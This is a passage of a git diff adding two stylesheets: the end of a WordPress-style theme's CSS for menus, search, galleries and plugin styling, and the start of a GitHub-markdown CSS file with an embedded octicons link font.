(min-width: 50em) { + .top-navigation { + margin: -2.25em 0 1.5em 0; + } +} +/* secondary menu styles */ +.menu-secondary { + float: left; + z-index: 9; +} + +.toggle-secondary-navigation { + background: none; + border: none; + color: white; + opacity: 0.4; + font-size: 1.313em; + /* 21px / 16px */ + line-height: 1.714; + margin: 0; + padding: 0; + outline: none; + -webkit-transition: -webkit-transform 0.3s ease; + transition: transform 0.3s ease; +} +.toggle-secondary-navigation:hover { + cursor: pointer; +} + +.menu-secondary-items { + list-style: none; + position: absolute; + z-index: -1; + opacity: 0; + width: 100%; + left: 0; + padding: 1.5em; + margin: 0; + background: #110800; + -webkit-transition: all 0.3s ease; + transition: all 0.3s ease; +} +.menu-secondary-items a { + color: white; + opacity: 0.4; + margin-right: 0.75em; +} +.menu-secondary-items a:link, .menu-secondary-items a:visited { + color: white; +} +.menu-secondary-items a:hover, .menu-secondary-items a:active, .menu-secondary-items a:focus { + color: white; + opacity: 0.9; +} +.menu-secondary-items ul { + list-style: none; +} + +/* when secondary menu is open */ +#main, #title-info, #toggle-navigation, #site-header, #site-footer { + -webkit-transition: -webkit-transform 0.3s ease; + transition: transform 0.3s ease; +} + +.secondary-toggle .site-header { + background: transparent; +} +.secondary-toggle .toggle-secondary-navigation { + opacity: 0.9; + -webkit-transform: rotate(315deg); + transform: rotate(315deg); +} +.secondary-toggle .menu-secondary-items { + z-index: 1; + opacity: 1; +} + +/* 600px */ +@media all and (min-width: 37.5em) { + .menu-secondary-items { + position: relative; + z-index: 1; + opacity: 1; + padding: 0.5em 0; + } + .menu-secondary-items:before { + content: '//'; + margin-right: 16px; + color: white; + opacity: 0.4; + } + .menu-secondary-items li, + .menu-secondary-items a { + display: inline-block; + } + + .toggle-secondary-navigation { + display: none; + } + + .menu-secondary-items { + /* Tier 2 */ + /* Tier 3 */ + } + .menu-secondary-items li { + position: relative; + } + .menu-secondary-items ul { + position: absolute; + top: -9999px; + margin: 0 auto; + left: -70%; + right: -70%; + max-width: 200px; + opacity: 0; + background: #110800; + text-align: center; + -webkit-transform: scale(0.95); + transform: scale(0.95); + -webkit-transition: opacity 0.3s ease, -webkit-transform 0.3s ease; + transition: opacity 0.3s ease, transform 0.3s ease; + } + .menu-secondary-items ul li, + .menu-secondary-items ul a { + display: block; + } + .menu-secondary-items ul a { + padding: 0 1.5em; + margin: 0.75em 0; + } + .menu-secondary-items ul li:first-child > a { + padding-top: 0.75em; + } + .menu-secondary-items ul li:last-child > a { + padding-bottom: 0.75em; + } + .menu-secondary-items ul:hover { + top: 1.5em; + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); + } + .menu-secondary-items a:hover + ul, .menu-secondary-items a:active + ul, .menu-secondary-items a:focus + ul { + top: 1.5em; + opacity: 1; + -webkit-transform: scale(1); + transform: scale(1); + } + .menu-secondary-items ul ul:hover { + left: 100%; + right: -100%; + top: -0.60975em; + } + .menu-secondary-items ul a:hover + ul, .menu-secondary-items ul a:active + ul, .menu-secondary-items ul a:focus + ul { + left: 100%; + right: -100%; + top: -0.60975em; + } +} +/* search form styles */ +.site-header .search-form-container { + position: absolute; + right: 5.55%; + left: 12.55%; + top: 0; + height: 100%; + margin: 0; +} +.site-header .search-form-container button { + -webkit-transform: translateZ(0); + transform: translateZ(0); + position: relative; + z-index: 9; + display: block; + left: 0; + height: 100%; + float: right; + border: none; + background: #211810; + font-size: 1em; + padding: 0.75em; + margin: 0 -12px 0 0; + outline: none; + -webkit-transition: all 0.3s ease; + transition: all 0.3s ease; +} +.site-header .search-form-container button:hover i, .site-header .search-form-container button:active i { + opacity: 1; +} +.site-header .search-form-container button:hover { + cursor: pointer; +} +.site-header .search-form-container i { + position: relative; + z-index: 9; + color: white; + opacity: 0.4; + line-height: 1.5; + -webkit-transition: opacity 0.2s ease; + transition: opacity 0.2s ease; +} +.site-header .search-form-container input { + margin: 0; + height: 100%; + position: absolute; +} +.site-header .search-form-container .search-form { + -webkit-transform: translateZ(0); + transform: translateZ(0); + position: absolute; + top: 0; + z-index: 19; + left: 107%; + width: 90%; + height: 100%; + -webkit-transition: all 0.3s ease; + transition: all 0.3s ease; +} +.site-header .search-form-container input.search-field { + width: 80%; + left: 0; + max-width: none !important; + outline: none !important; +} +.site-header .search-form-container input.search-submit { + width: 30%; + right: 0; + max-width: none !important; + min-width: 0 !important; + outline: none !important; +} +.site-header .search-form-container + ul { + margin-right: 3.75em; +} + +.search-open .site-header .search-form { + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} +.search-open .site-header .search-form-container { + left: 5.55%; +} +.search-open .site-header .search-form-container button { + width: 24%; +} +.search-open .site-header .search-form-container i { + opacity: 1; +} + +.rtl .site-header .search-form-container input.search-field { + width: calc(100% - 120px) !important; + right: 120px; +} + +/* 600px */ +@media all and (min-width: 37.5em) { + .search-open .site-header .search-form-container button { + width: auto; + } + + .site-header .search-form-container .search-form { + width: 20em; + } + .site-header .search-form-container input.search-submit { + min-width: 120px !important; + } +} +/* social icon styling */ +.social-media-icons { + list-style: none; + margin: 0; + -webkit-transition: opacity 0.3s ease-in-out, -webkit-transform 0.2s ease-in-out; + transition: opacity 0.3s ease-in-out, transform 0.2s ease-in-out; +} +.social-media-icons li, +.social-media-icons a { + display: inline-block; +} +.social-media-icons a { + font-size: 1.313em; + /* 21px / 16px */ + line-height: 1.714; + margin: 0 0.375em; + color: white; + opacity: 0.4; + position: relative; + z-index: 9; +} +.social-media-icons a:link, .social-media-icons a:visited { + color: white; +} +.social-media-icons a:hover, .social-media-icons a:active, .social-media-icons a:focus { + color: white; + opacity: 1; +} + +.site-header .social-media-icons { + float: right; + height: 100%; +} + +.search-open .site-header .social-media-icons { + opacity: 0; + -webkit-transform: translateX(12px); + transform: translateX(12px); +} + +@media all and (min-width: 1500px) { + .top-navigation .social-media-icons { + margin-right: 0px !important; + } +} + +/** + * RSS Feed button on Categories & Tags + */ +.in-page-rss { + color: white !important; + opacity: 0.4; +} + +.in-page-rss:hover { + color: white !important; + opacity: 1; +} + + +/** + * 14.2 Galleries + */ +.gallery { + margin: 2.25em auto; +} + +.gallery-item { + display: inline-block; + padding: 0.75em; + text-align: center; + vertical-align: top; + width: 100%; + margin: 0; +} +.gallery-item img { + max-width: 100%; + max-height: 100%; +} + +.gallery-columns-2 .gallery-item { + max-width: 50%; +} + +.gallery-columns-3 .gallery-item { + max-width: 33.33%; +} + +.gallery-columns-4 .gallery-item { + max-width: 25%; +} + +.gallery-columns-5 .gallery-item { + max-width: 20%; +} + +.gallery-columns-6 .gallery-item { + max-width: 16.66%; +} + +.gallery-columns-7 .gallery-item { + max-width: 14.28%; +} + +.gallery-columns-8 .gallery-item { + max-width: 12.5%; +} + +.gallery-columns-9 .gallery-item { + max-width: 11.11%; +} + +.gallery-icon img { + margin: 0 auto; +} + +.gallery-caption { + color: #8c8c8c; + display: block; + font-family: "raleway", sans-serif; + font-size: 12px; + padding: 0.5em 0; +} + +.gallery-columns-6 .gallery-caption, +.gallery-columns-7 .gallery-caption, +.gallery-columns-8 .gallery-caption, +.gallery-columns-9 .gallery-caption { + display: none; +} + +/* Jetpack Galleries */ +.tiled-gallery { + margin: 2.25em auto !important; +} +.tiled-gallery .gallery-row { + margin: 0 auto; +} + +/* Styles for when user selects a dark header */ +.dark-header { + /* Secondary Nav */ + /* Search Icon */ +} +.dark-header .site-title a { + color: #38312f; +} +.dark-header .site-title a:link, .dark-header .site-title a:visited, .dark-header .site-title a:hover, .dark-header .site-title a:active, .dark-header .site-title a:focus { + color: #38312f; +} +.dark-header .toggle-navigation { + color: #38312f; +} +.dark-header .site-header .site-description { + color: #38312f; +} +.dark-header .site-header .social-media-icons a { + color: #38312f; +} +.dark-header .site-header .social-media-icons a:link, .dark-header .site-header .social-media-icons a:visited { + color: #38312f; +} +.dark-header .site-header .social-media-icons a:hover, .dark-header .site-header .social-media-icons a:active, .dark-header .site-header .social-media-icons a:focus { + color: #38312f; +} +.dark-header .toggle-secondary-navigation { + color: #38312f; +} +.dark-header .menu-secondary-items a, +.dark-header .menu-secondary-items a:link, +.dark-header .menu-secondary-items a:visited, +.dark-header .menu-secondary-items a:hover, +.dark-header .menu-secondary-items a:active, +.dark-header .menu-secondary-items a:focus { + color: #38312f; +} +.dark-header .site-header .search-form-container i { + color: #38312f; +} +.dark-header .site-header.toggled .site-title a { + color: white; +} +.dark-header .site-header.toggled .site-title a:link, .dark-header .site-header.toggled .site-title a:visited, .dark-header .site-header.toggled .site-title a:hover, .dark-header .site-header.toggled .site-title a:active, .dark-header .site-header.toggled .site-title a:focus { + color: white; +} +.dark-header .site-header.toggled .toggle-navigation { + color: white; +} +.dark-header .site-header.toggled .site-description { + color: white; +} + +/* 600px */ +@media all and (min-width: 37.5em) { + .dark-header .menu-secondary-items:before { + color: #38312f; + } + .dark-header .menu-secondary-items ul { + background: white; + } +} +/* 800px */ +@media all and (min-width: 50em) { + .dark-header .menu-unset > ul a, + .dark-header .menu-primary-items a { + color: #38312f; + } + .dark-header .menu-unset > ul a:link, .dark-header .menu-unset > ul a:visited, + .dark-header .menu-primary-items a:link, + .dark-header .menu-primary-items a:visited { + color: #38312f; + } + .dark-header .menu-unset > ul > li:after, + .dark-header .menu-primary-items > li:after { + color: #38312f; + } + .dark-header .menu-unset > ul ul, + .dark-header .menu-primary-items ul { + background: white; + } +} +/* background image styles */ +.background-image-active .background-image { + background-size: cover; + background-position: 50%; + position: fixed; + z-index: -1; + top: 0; + right: 0; + bottom: 0; + left: 0; +} +.background-image-active .site-header { + border-color: transparent; +} +.background-image-active .excerpt { + opacity: 1; +} +.background-image-active .site-header, +.background-image-active .site-header .search-form-container button, +.background-image-active .main, +.background-image-active .menu-secondary-items { + background: none; +} +.background-image-active .top-navigation { + background: rgba(255, 255, 255, 0.2); +} +.background-image-active .site-footer { + background: #38312f; +} + +/* background style textures */ +.background-texture-active .site-header, +.background-texture-active .site-header .search-form-container button, +.background-texture-active .main, +.background-texture-active .menu-secondary-items { + background: none; +} +.background-texture-active .site-header { + border-color: transparent; +} +.background-texture-active .site-footer { + background: #38312f; +} +.background-texture-active .top-navigation { + background: rgba(255, 255, 255, 0.2); +} +.background-texture-active .excerpt { + opacity: 1; +} + +/* Featured Video styles */ +.featured-video video { + width: 100%; +} + +.singular-page .featured-video { + margin: -3em 0 3em; +} + +.full-width-images.blog .excerpt.has-video, +.full-width-images.archive .excerpt.has-video, +.two-column-images.blog .excerpt.has-video, +.two-column-images.archive .excerpt.has-video { + background: none; +} +.full-width-images.blog .excerpt.has-video .overlay, +.full-width-images.blog .excerpt.has-video .overlay-link, +.full-width-images.blog .excerpt.has-video i, +.full-width-images.archive .excerpt.has-video .overlay, +.full-width-images.archive .excerpt.has-video .overlay-link, +.full-width-images.archive .excerpt.has-video i, +.two-column-images.blog .excerpt.has-video .overlay, +.two-column-images.blog .excerpt.has-video .overlay-link, +.two-column-images.blog .excerpt.has-video i, +.two-column-images.archive .excerpt.has-video .overlay, +.two-column-images.archive .excerpt.has-video .overlay-link, +.two-column-images.archive .excerpt.has-video i { + display: none; +} +.full-width-images.blog .excerpt.has-video .excerpt-container, +.full-width-images.archive .excerpt.has-video .excerpt-container, +.two-column-images.blog .excerpt.has-video .excerpt-container, +.two-column-images.archive .excerpt.has-video .excerpt-container { + position: relative; + opacity: 1; +} +.full-width-images.blog .excerpt.has-video .excerpt-header, .full-width-images.blog .excerpt.has-video .entry-header, +.full-width-images.archive .excerpt.has-video .excerpt-header, +.full-width-images.archive .excerpt.has-video .entry-header, +.two-column-images.blog .excerpt.has-video .excerpt-header, +.two-column-images.blog .excerpt.has-video .entry-header, +.two-column-images.archive .excerpt.has-video .excerpt-header, +.two-column-images.archive .excerpt.has-video .entry-header { + padding: 0.75em 1.5em 1.5em; +} +.full-width-images.blog .excerpt.has-video .excerpt-title, .full-width-images.blog .excerpt.has-video .entry-title, +.full-width-images.archive .excerpt.has-video .excerpt-title, +.full-width-images.archive .excerpt.has-video .entry-title, +.two-column-images.blog .excerpt.has-video .excerpt-title, +.two-column-images.blog .excerpt.has-video .entry-title, +.two-column-images.archive .excerpt.has-video .excerpt-title, +.two-column-images.archive .excerpt.has-video .entry-title { + font-size: 1em; + line-height: 1.5; +} +.full-width-images.blog .excerpt.has-video .excerpt-title a, .full-width-images.blog .excerpt.has-video .entry-title a, +.full-width-images.archive .excerpt.has-video .excerpt-title a, +.full-width-images.archive .excerpt.has-video .entry-title a, +.two-column-images.blog .excerpt.has-video .excerpt-title a, +.two-column-images.blog .excerpt.has-video .entry-title a, +.two-column-images.archive .excerpt.has-video .excerpt-title a, +.two-column-images.archive .excerpt.has-video .entry-title a { + color: white; + opacity: 0.8; +} +.full-width-images.blog .excerpt.has-video .excerpt-title a:link, .full-width-images.blog .excerpt.has-video .entry-title a:link, .full-width-images.blog .excerpt.has-video .excerpt-title a:visited, .full-width-images.blog .excerpt.has-video .entry-title a:visited, +.full-width-images.archive .excerpt.has-video .excerpt-title a:link, +.full-width-images.archive .excerpt.has-video .entry-title a:link, +.full-width-images.archive .excerpt.has-video .excerpt-title a:visited, +.full-width-images.archive .excerpt.has-video .entry-title a:visited, +.two-column-images.blog .excerpt.has-video .excerpt-title a:link, +.two-column-images.blog .excerpt.has-video .entry-title a:link, +.two-column-images.blog .excerpt.has-video .excerpt-title a:visited, +.two-column-images.blog .excerpt.has-video .entry-title a:visited, +.two-column-images.archive .excerpt.has-video .excerpt-title a:link, +.two-column-images.archive .excerpt.has-video .entry-title a:link, +.two-column-images.archive .excerpt.has-video .excerpt-title a:visited, +.two-column-images.archive .excerpt.has-video .entry-title a:visited { + color: white; +} +.full-width-images.blog .excerpt.has-video .excerpt-title a:hover, .full-width-images.blog .excerpt.has-video .entry-title a:hover, .full-width-images.blog .excerpt.has-video .excerpt-title a:active, .full-width-images.blog .excerpt.has-video .entry-title a:active, .full-width-images.blog .excerpt.has-video .excerpt-title a:focus, .full-width-images.blog .excerpt.has-video .entry-title a:focus, +.full-width-images.archive .excerpt.has-video .excerpt-title a:hover, +.full-width-images.archive .excerpt.has-video .entry-title a:hover, +.full-width-images.archive .excerpt.has-video .excerpt-title a:active, +.full-width-images.archive .excerpt.has-video .entry-title a:active, +.full-width-images.archive .excerpt.has-video .excerpt-title a:focus, +.full-width-images.archive .excerpt.has-video .entry-title a:focus, +.two-column-images.blog .excerpt.has-video .excerpt-title a:hover, +.two-column-images.blog .excerpt.has-video .entry-title a:hover, +.two-column-images.blog .excerpt.has-video .excerpt-title a:active, +.two-column-images.blog .excerpt.has-video .entry-title a:active, +.two-column-images.blog .excerpt.has-video .excerpt-title a:focus, +.two-column-images.blog .excerpt.has-video .entry-title a:focus, +.two-column-images.archive .excerpt.has-video .excerpt-title a:hover, +.two-column-images.archive .excerpt.has-video .entry-title a:hover, +.two-column-images.archive .excerpt.has-video .excerpt-title a:active, +.two-column-images.archive .excerpt.has-video .entry-title a:active, +.two-column-images.archive .excerpt.has-video .excerpt-title a:focus, +.two-column-images.archive .excerpt.has-video .entry-title a:focus { + color: white; + opacity: 1; +} + +@media all and (min-width: 56.25em) { + .excerpt .featured-video { + -webkit-transform: translateZ(0); + transform: translateZ(0); + /* fixes FF glitch where image focuses & unfocuses */ + width: 50%; + height: 100%; + padding-bottom: 0; + position: absolute; + right: 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + } + .excerpt .featured-video div, + .excerpt .featured-video video { + position: relative; + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + } + + .excerpt.even .featured-video { + right: 50%; + right: calc(50% - 1px); + } + + /* Premium Layouts */ + .full-width .excerpt .featured-video, + .full-width-images .excerpt .featured-video, + .two-column .excerpt .featured-video, + .two-column-images .excerpt .featured-video { + width: 100%; + height: auto; + position: relative; + right: 0; + } + .full-width .excerpt .featured-video div, + .full-width .excerpt .featured-video video, + .full-width-images .excerpt .featured-video div, + .full-width-images .excerpt .featured-video video, + .two-column .excerpt .featured-video div, + .two-column .excerpt .featured-video video, + .two-column-images .excerpt .featured-video div, + .two-column-images .excerpt .featured-video video { + position: relative; + top: 0; + -webkit-transform: none; + transform: none; + } +} +/* 900px */ +@media all and (min-width: 56.25em) { + .ie9 .excerpt { + opacity: 1; + } + .ie9 .excerpt:hover { + opacity: 1; + } +} +/* Styles for Disqus Comment System */ +#disqus_thread { + background: white; + padding: 1.5em 5.55%; + max-width: 1280px; +} + +/* bbpress Styles */ +.bbpress.archive .main { + width: 100%; + margin-bottom: 3em; +} + +.entry-bbpress { + padding-top: 3em; +} +.entry-bbpress .entry-container { + padding: 0 11.11%; +} + +#wp-bbp_topic_content-editor-container input, +#wp-bbp_reply_content-editor-container input { + width: auto; + padding: 6px 24px !important; +} +#wp-bbp_topic_content-editor-container textarea, +#wp-bbp_reply_content-editor-container textarea { + outline: solid 1px #38312f; + margin-top: 1.5em !important; +} + +#bbp_topic_tags { + max-width: 500px; + font-size: 13px; +} + +#bbp_topic_title { + max-width: none; +} + +.bbp-submit-wrapper button { + background: #38312f; + color: white; + max-width: 22.2em !important; + min-width: 11.1em; + padding: 0.8em; + min-height: 45px; + outline: none; + border: none; + font-family: "raleway", sans-serif; + font-size: 0.813em; + line-height: 1.85; + border-radius: 0; + -webkit-appearance: none; + -webkit-transition: all 0.2s ease; + transition: all 0.2s ease; +} +.bbp-submit-wrapper button:hover, .bbp-submit-wrapper button:active, .bbp-submit-wrapper button:focus { + cursor: pointer; + background: black; +} + +@media all and (min-width: 62.5em) { + #bbp_topic_title { + width: 70%; + } +} +#bbpress-forums div.bbp-search-form { + margin: 1px 0 12px 0; +} + +@media all and (min-width: 43.75em) { + #bbpress-forums #bbp-search-form #bbp_search { + width: 500px !important; + } +} diff --git a/public/css/github-markdown.css b/public/css/github-markdown.css new file mode 100644 index 00000000..6085db2c --- /dev/null +++ b/public/css/github-markdown.css @@ -0,0 +1,957 @@ +@font-face { + font-family: octicons-link; + src: url(data:font/woff;charset=utf-8;base64,d09GRgABAAAAAAZwABAAAAAACFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEU0lHAAAGaAAAAAgAAAAIAAAAAUdTVUIAAAZcAAAACgAAAAoAAQAAT1MvMgAAAyQAAABJAAAAYFYEU3RjbWFwAAADcAAAAEUAAACAAJThvmN2dCAAAATkAAAABAAAAAQAAAAAZnBnbQAAA7gAAACyAAABCUM+8IhnYXNwAAAGTAAAABAAAAAQABoAI2dseWYAAAFsAAABPAAAAZwcEq9taGVhZAAAAsgAAAA0AAAANgh4a91oaGVhAAADCAAAABoAAAAkCA8DRGhtdHgAAAL8AAAADAAAAAwGAACfbG9jYQAAAsAAAAAIAAAACABiATBtYXhwAAACqAAAABgAAAAgAA8ASm5hbWUAAAToAAABQgAAAlXu73sOcG9zdAAABiwAAAAeAAAAME3QpOBwcmVwAAAEbAAAAHYAAAB/aFGpk3jaTY6xa8JAGMW/O62BDi0tJLYQincXEypYIiGJjSgHniQ6umTsUEyLm5BV6NDBP8Tpts6F0v+k/0an2i+itHDw3v2+9+DBKTzsJNnWJNTgHEy4BgG3EMI9DCEDOGEXzDADU5hBKMIgNPZqoD3SilVaXZCER3/I7AtxEJLtzzuZfI+VVkprxTlXShWKb3TBecG11rwoNlmmn1P2WYcJczl32etSpKnziC7lQyWe1smVPy/Lt7Kc+0vWY/gAgIIEqAN9we0pwKXreiMasxvabDQMM4riO+qxM2ogwDGOZTXxwxDiycQIcoYFBLj5K3EIaSctAq2kTYiw+ymhce7vwM9jSqO8JyVd5RH9gyTt2+J/yUmYlIR0s04n6+7Vm1ozezUeLEaUjhaDSuXHwVRgvLJn1tQ7xiuVv/ocTRF42mNgZGBgYGbwZOBiAAFGJBIMAAizAFoAAABiAGIAznjaY2BkYGAA4in8zwXi+W2+MjCzMIDApSwvXzC97Z4Ig8N/BxYGZgcgl52BCSQKAA3jCV8CAABfAAAAAAQAAEB42mNgZGBg4f3vACQZQABIMjKgAmYAKEgBXgAAeNpjYGY6wTiBgZWBg2kmUxoDA4MPhGZMYzBi1AHygVLYQUCaawqDA4PChxhmh/8ODDEsvAwHgMKMIDnGL0x7gJQCAwMAJd4MFwAAAHjaY2BgYGaA4DAGRgYQkAHyGMF8NgYrIM3JIAGVYYDT+AEjAwuDFpBmA9KMDEwMCh9i/v8H8sH0/4dQc1iAmAkALaUKLgAAAHjaTY9LDsIgEIbtgqHUPpDi3gPoBVyRTmTddOmqTXThEXqrob2gQ1FjwpDvfwCBdmdXC5AVKFu3e5MfNFJ29KTQT48Ob9/lqYwOGZxeUelN2U2R6+cArgtCJpauW7UQBqnFkUsjAY/kOU1cP+DAgvxwn1chZDwUbd6CFimGXwzwF6tPbFIcjEl+vvmM/byA48e6tWrKArm4ZJlCbdsrxksL1AwWn/yBSJKpYbq8AXaaTb8AAHja28jAwOC00ZrBeQNDQOWO//sdBBgYGRiYWYAEELEwMTE4uzo5Zzo5b2BxdnFOcALxNjA6b2ByTswC8jYwg0VlNuoCTWAMqNzMzsoK1rEhNqByEyerg5PMJlYuVueETKcd/89uBpnpvIEVomeHLoMsAAe1Id4AAAAAAAB42oWQT07CQBTGv0JBhagk7HQzKxca2sJCE1hDt4QF+9JOS0nbaaYDCQfwCJ7Au3AHj+LO13FMmm6cl7785vven0kBjHCBhfpYuNa5Ph1c0e2Xu3jEvWG7UdPDLZ4N92nOm+EBXuAbHmIMSRMs+4aUEd4Nd3CHD8NdvOLTsA2GL8M9PODbcL+hD7C1xoaHeLJSEao0FEW14ckxC+TU8TxvsY6X0eLPmRhry2WVioLpkrbp84LLQPGI7c6sOiUzpWIWS5GzlSgUzzLBSikOPFTOXqly7rqx0Z1Q5BAIoZBSFihQYQOOBEdkCOgXTOHA07HAGjGWiIjaPZNW13/+lm6S9FT7rLHFJ6fQbkATOG1j2OFMucKJJsxIVfQORl+9Jyda6Sl1dUYhSCm1dyClfoeDve4qMYdLEbfqHf3O/AdDumsjAAB42mNgYoAAZQYjBmyAGYQZmdhL8zLdDEydARfoAqIAAAABAAMABwAKABMAB///AA8AAQAAAAAAAAAAAAAAAAABAAAAAA==) format('woff'); +} + +.markdown-body .octicon { + display: inline-block; + fill: currentColor; + vertical-align: text-bottom; +} + +.markdown-body .anchor { + float: left; + line-height: 1; + margin-left: -20px; + padding-right: 4px; +} + +.markdown-body .anchor:focus { + outline: none; +} + +.markdown-body h1 .octicon-link, +.markdown-body h2 .octicon-link, +.markdown-body h3 .octicon-link, +.markdown-body h4 .octicon-link, +.markdown-body h5 .octicon-link, +.markdown-body h6 .octicon-link { + color: #1b1f23; + vertical-align: middle; + visibility: hidden; +} + +.markdown-body h1:hover .anchor, +.markdown-body h2:hover .anchor, +.markdown-body h3:hover .anchor, +.markdown-body h4:hover .anchor, +.markdown-body h5:hover .anchor, +.markdown-body h6:hover .anchor { + text-decoration: none; +} + +.markdown-body h1:hover .anchor .octicon-link, +.markdown-body h2:hover .anchor .octicon-link, +.markdown-body h3:hover .anchor .octicon-link, +.markdown-body h4:hover .anchor .octicon-link, +.markdown-body h5:hover .anchor .octicon-link, +.markdown-body h6:hover .anchor .octicon-link { + visibility: visible; +} + +.markdown-body { + -ms-text-size-adjust: 100%; + -webkit-text-size-adjust: 100%; + color: #24292e; + line-height: 1.5; + font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol; + font-size: 16px; + line-height: 1.5; + word-wrap: break-word; +} + +.markdown-body .pl-c { + color: #6a737d; +} + +.markdown-body .pl-c1, +.markdown-body .pl-s .pl-v { + color: #005cc5; +} + +.markdown-body .pl-e, +.markdown-body .pl-en { + color: #6f42c1; +} + +.markdown-body .pl-s .pl-s1, +.markdown-body .pl-smi { + color: #24292e; +} + +.markdown-body .pl-ent { + color: #22863a; +} + +.markdown-body .pl-k { + color: #d73a49; +} + +.markdown-body .pl-pds, +.markdown-body .pl-s, +.markdown-body .pl-s .pl-pse .pl-s1, +.markdown-body .pl-sr, +.markdown-body .pl-sr .pl-cce, +.markdown-body .pl-sr .pl-sra, +.markdown-body .pl-sr .pl-sre { + color: #032f62; +} + +.markdown-body .pl-smw, +.markdown-body .pl-v { + color: #e36209; +} + +.markdown-body .pl-bu { + color: #b31d28; +} + +.markdown-body .pl-ii { + background-color: #b31d28; + color: #fafbfc; +} + +.markdown-body .pl-c2 { + background-color: #d73a49; + color: #fafbfc; +} + +.markdown-body .pl-c2:before { + content: "^M"; +} + +.markdown-body .pl-sr .pl-cce { + color: #22863a; + font-weight: 700; +} + +.markdown-body .pl-ml { + color: #735c0f; +} + +.markdown-body .pl-mh, +.markdown-body .pl-mh .pl-en, +.markdown-body .pl-ms { + color: #005cc5; + font-weight: 700; +} + +.markdown-body .pl-mi { + color: #24292e; + font-style: italic; +} + +.markdown-body .pl-mb { + color: #24292e; + font-weight: 700; +} + +.markdown-body .pl-md { + background-color: #ffeef0; + color: #b31d28; +} + +.markdown-body .pl-mi1 { + background-color: #f0fff4; + color: #22863a; +} + +.markdown-body .pl-mc { + background-color: #ffebda; + color: #e36209; +} + +.markdown-body .pl-mi2 { + background-color: #005cc5; + color: #f6f8fa; +} + +.markdown-body .pl-mdr { + color: #6f42c1; + font-weight: 700; +} + +.markdown-body .pl-ba { + color: #586069; +} + +.markdown-body .pl-sg { + color: #959da5; +} + +.markdown-body .pl-corl { + color: #032f62; + text-decoration: underline; +} + +.markdown-body details { + display: block; +} + +.markdown-body summary { + display: list-item; +} + +.markdown-body a { + background-color: transparent; +} + +.markdown-body a:active, +.markdown-body a:hover { + outline-width: 0; +} + +.markdown-body strong { + font-weight: inherit; + font-weight: bolder; +} + +.markdown-body h1 { + font-size: 2em; + margin: .67em 0; +} + +.markdown-body img { + border-style: none; +} + +.markdown-body code, +.markdown-body kbd, +.markdown-body pre { + font-family: monospace,monospace; + font-size: 1em; +} + +.markdown-body hr { + box-sizing: content-box; + height: 0; + overflow: visible; +} + +.markdown-body input { + font: inherit; + margin: 0; +} + +.markdown-body input { + overflow: visible; +} + +.markdown-body [type=checkbox] { + box-sizing: border-box; + padding: 0; +} + +.markdown-body * { + box-sizing: border-box; +} + +.markdown-body input { + font-family: inherit; + font-size: inherit; + line-height: inherit; +} + +.markdown-body a { + color: #0366d6; + text-decoration: none; +} + +.markdown-body a:hover { + text-decoration: underline; +} + +.markdown-body strong { + font-weight: 600; +} + +.markdown-body hr { + background: transparent; + border: 0; + border-bottom: 1px solid #dfe2e5; + height: 0; + margin: 15px 0; + overflow: hidden; +} + +.markdown-body hr:before { + content: ""; + display: table; +} + +.markdown-body hr:after { + clear: both; + content: ""; + display: table; +} + +.markdown-body table { + border-collapse: collapse; + border-spacing: 0; +} + +.markdown-body td, +.markdown-body th { + padding: 0; +} + +.markdown-body details summary { + cursor: pointer; +} + +.markdown-body h1, +.markdown-body h2, +.markdown-body h3, +.markdown-body h4, +.markdown-body h5, +.markdown-body h6 { + margin-bottom: 0; + margin-top: 0; +} + +.markdown-body h1 { + font-size: 32px; +} + +.markdown-body h1, +.markdown-body h2 { + font-weight: 600; +} + +.markdown-body h2 { + font-size: 24px; +} + +.markdown-body h3 { + font-size: 20px; +} + +.markdown-body h3, +.markdown-body h4 { + font-weight: 600; +} + +.markdown-body h4 { + font-size: 16px; +} + +.markdown-body h5 { + font-size: 14px; +} + +.markdown-body h5, +.markdown-body h6 { + font-weight: 600; +} + +.markdown-body h6 { + font-size: 12px; +} + +.markdown-body p { + margin-bottom: 10px; + margin-top: 0; +} + +.markdown-body blockquote { + margin: 0; +} + +.markdown-body ol, +.markdown-body ul { + margin-bottom: 0; + margin-top: 0; + padding-left: 0; +} + +.markdown-body ol ol, +.markdown-body ul ol { + list-style-type: lower-roman; +} + +.markdown-body ol ol ol, +.markdown-body ol ul ol, +.markdown-body ul ol ol, +.markdown-body ul ul ol { + list-style-type: lower-alpha; +} + +.markdown-body dd { + margin-left: 0; +} + +.markdown-body code, +.markdown-body pre { + font-family: SFMono-Regular,Consolas,Liberation Mono,Menlo,Courier,monospace; + font-size: 12px; +} + +.markdown-body pre { + margin-bottom: 0; + margin-top: 0; +} + +.markdown-body input::-webkit-inner-spin-button, +.markdown-body input::-webkit-outer-spin-button { + -webkit-appearance: none; + appearance: none; + margin: 0; +} + +.markdown-body .border { + border: 1px solid #e1e4e8!important; +} + +.markdown-body .border-0 { + border: 0!important; +} + +.markdown-body .border-bottom { + border-bottom: 1px solid #e1e4e8!important; +} + +.markdown-body .rounded-1 { + border-radius: 3px!important; +} + +.markdown-body .bg-white { + background-color: #fff!important; +} + +.markdown-body .bg-gray-light { + background-color: #fafbfc!important; +} + +.markdown-body .text-gray-light { + color: #6a737d!important; +} + +.markdown-body .mb-0 { + margin-bottom: 0!important; +} + +.markdown-body .my-2 { + margin-bottom: 8px!important; + margin-top: 8px!important; +} + +.markdown-body .pl-0 { + padding-left: 0!important; +} + +.markdown-body .py-0 { + padding-bottom: 0!important; + padding-top: 0!important; +} + +.markdown-body .pl-1 { + padding-left: 4px!important; +} + +.markdown-body .pl-2 { + padding-left: 8px!important; +} + +.markdown-body .py-2 { + padding-bottom: 8px!important; + padding-top: 8px!important; +} + +.markdown-body .pl-3, +.markdown-body .px-3 { + padding-left: 16px!important; +} + +.markdown-body .px-3 { + padding-right: 16px!important; +} + +.markdown-body .pl-4 { + padding-left: 24px!important; +} + +.markdown-body .pl-5 { + padding-left: 32px!important; +} + +.markdown-body .pl-6 { + padding-left: 40px!important; +} + +.markdown-body .f6 { + font-size: 12px!important; +} + +.markdown-body .lh-condensed { + line-height: 1.25!important; +} + +.markdown-body .text-bold { + font-weight: 600!important; +} + +.markdown-body:before { + content: ""; + display: table; +} + +.markdown-body:after { + clear: both; + content: ""; + display: 